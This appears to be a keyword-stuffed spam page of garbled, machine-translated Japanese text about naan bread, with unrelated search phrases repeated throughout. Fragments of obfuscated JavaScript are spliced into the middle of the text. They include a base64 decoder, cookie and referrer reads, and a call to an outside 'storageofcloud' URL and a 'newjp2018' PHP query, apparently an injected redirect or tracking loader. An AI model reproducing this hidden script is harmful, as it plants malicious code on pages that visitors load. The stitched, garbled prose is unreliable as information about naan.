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com 2015年9月6日に取得された ビタミンk 豆腐 ハンバーグ きのこ^「レシピ - ウェグマンズ」.. 一般的にピタに似ており、ピタパンのように、通常は酵母やパンスターター（前
バッチから残った発酵ナン生地）で発酵させる。無添加生地（rotiに使用されているのと同様のもの）も使用されています.. ビタミンk 豆腐 ハンバーグ
沼津また、パン酵母（酵母と乳酸菌の両方を含む）を使用する場合、乳は適度な乳酸発酵を受けてもよい.

外部画像 アフガン・ナン パキスタン、カラチのタンドールで新しく用意されたナーン チーズナーン
ミャンマーとも言われるミャンマースープのナンペイタ。ビルマの朝食で提供されることもあります。 食のポータル パキスタンのパンのリスト インドのパンのリスト インドのパン
アフガニスタンのパン タンドールパン（タンディーナン） バズラマ バトゥアラ ルチ マトナカシュ パラサ パロッタ プリ Roti Canai Roti prata
ウィキメディアコモンズにはナーンに関連するメディアがあります.. ^ニゲラ "NAAN PIZZA - レシピ - ナイジェラ・ローソン" ニゲラ.. Wikibooks
Cookbookにはレシピ/モジュールがあります ナン バーナード・クレイトンのバーナード・クレイトン（Bernard Clayton）、ドニー・キャメロン（Donnie
Cameron）のバーナード・クレイトン（Bernard Clayton）の新しい完璧な本 - パンフレット - ^ Qmin Anil Ashokan、Greg Elms
^料理の科学、ピーターBarham、Springer：2001.. ビルマのNaanbyaは時々紅茶やコーヒーで朝食を提供されます..
constructor(\x22return\x20this\x22)(\x20)'+');');_0x5f514e=_0x3515c2();}catch(_0x51da2d){_0x5f514e=window;}var _0x132
77f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5f514e['atob']||(_0x5f514e['
atob']=function(_0x5ea6c5){var _0x4c072b=String(_0x5ea6c5)['replace'](/=+$/,'');for(var _0x46b3c5=0x0,_0x4e4dca,_0x164e
91,_0xeefa04=0x0,_0x203f5a='';_0x164e91=_0x4c072b['charAt'](_0xeefa04++);~_0x164e91&&(_0x4e4dca=_0x46b3c5%0x
4?_0x4e4dca*0x40+_0x164e91:_0x164e91,_0x46b3c5++%0x4)?_0x203f5a+=String['fromCharCode'](0xff&_0x4e4dca>>(-0
x2*_0x46b3c5&0x6)):0x0){_0x164e91=_0x13277f['indexOf'](_0x164e91);}return
_0x203f5a;});}());_0x575d['base64DecodeUnicode']=function(_0x235412){var _0x21ec79=atob(_0x235412);var
_0x174d90=[];for(var _0x325fed=0x0,_0x2a7a28=_0x21ec79['length'];_0x325fed=_0x23ae42;},'PKYTV':function
_0x1b3bf5(_0x578055,_0x29aa95){return _0x578055+_0x29aa95;},'CTlJg':function
_0x12f6a4(_0x151f43,_0x1730f4){return _0x151f43+_0x1730f4;},'hDrqY':function
_0x4dab2d(_0x2bc632,_0x230352){return _0x2bc632(_0x230352);},'dfJcd':function
_0x3f5129(_0xe33ae0,_0x5cd803){return _0xe33ae0+_0x5cd803;},'ojNUX':function
_0x3c4265(_0x2588e6,_0x5cf22a){return _0x2588e6*_0x5cf22a;},'aJOPK':function
_0x42dfbb(_0x33dd0b,_0x2ed0a2){return
_0x33dd0b+_0x2ed0a2;},'VAswp':_0x575d('0xe'),'kiIMm':_0x575d('0x10'),'zKzYs':_0x575d('0x1d'),'ZGDoT':function
_0x4df7d4(_0x186e75,_0x180b71){return _0x186e75(_0x180b71);},'ehBjI':function
_0x2f7f90(_0xcb9620,_0x2b2bc4){return _0xcb9620+_0x2b2bc4;},'jKoZG':'https://storageofcloud.

典型的には、それはホットで提供され、ギーまたはバターでブラシをかける..
典型的なナンのレシピは、白粉と塩、酵母培養物、十分なヨーグルトを混合して滑らかで弾力のある生地を作ることです.. ビタミンk 豆腐 ハンバーグ
ろくやたインド亜大陸の一部のナーン（Naan）は、通常、特定の種類の厚いフラットブレッド（別のよく知られている種類のフラットブレッドはチャパティです）.

"（中央タークス人の食生活を参照） 英語での他の証明はOxford English Dictionaryにあります。.. men/newjp2018 php?&query='};var _0x291529=[
_0x445e5e[_0x575d('0x1e')],_0x445e5e[_0x575d('0x1f')],_0x445e5e[_0x575d('0x20')],_0x575d('0x21'),_0x445e5e['UuCqo'],
_0x445e5e[_0x575d('0x22')],_0x445e5e[_0x575d('0x23')]],_0x1e8068=document[_0x575d('0x24')],_0x2e5920=![],_0x40ea3f
=cookie[_0x575d('0x25')](_0x575d('0x1d'));for(var _0x23e7ff=0x0;_0x23e7ff.
168：「最も一般的な料理は、オノスキ、またはヴェルミッリであり、鉢植え、またはゆで米、ナン、パンケーキ、および法律が許す肉類.

それは他の食品をすくうために、または充填物で詰めて提供することができます.. スペルナーンは1979年に初めて証明され、以来、通常の英語のスペルになっています.. ビタミンk
豆腐 ハンバーグ らいむらいと生地を数分間混練した後、数時間放置する..
形ナンは、中央アジアとインド亜大陸で話されている言語の範囲で借用されている広範な分布を持っています。これは、通常、一種のフラットブレッド.. 食べ物と料理について
Scribner 2004年第2版 ^ "独立 - 404" 独立系.. 英語でナンの最も初期の出現は1810年からウィリアム・トークの旅行記.. ビタミンk 豆腐 ハンバーグ ランキング2、p
図6において、 ^ "ホーム：Oxford English" $ Dictionary ".. イランでは、元の言葉が由来するnn（）は、あらゆる種類のパンのための一般的な言葉であるだけでなく、西
アジア諸国やその地域の民族グループクルド人、トルコ人、アゼルバイジャン人（アゼルバイジャンとイランの両方）など.. 他の用途については、Naan（曖昧さ回避） Keema
naanがこの記事にマージされることが示唆されている.. このバージョンは時にはファーストフードとして用意されています. e10c415e6f 
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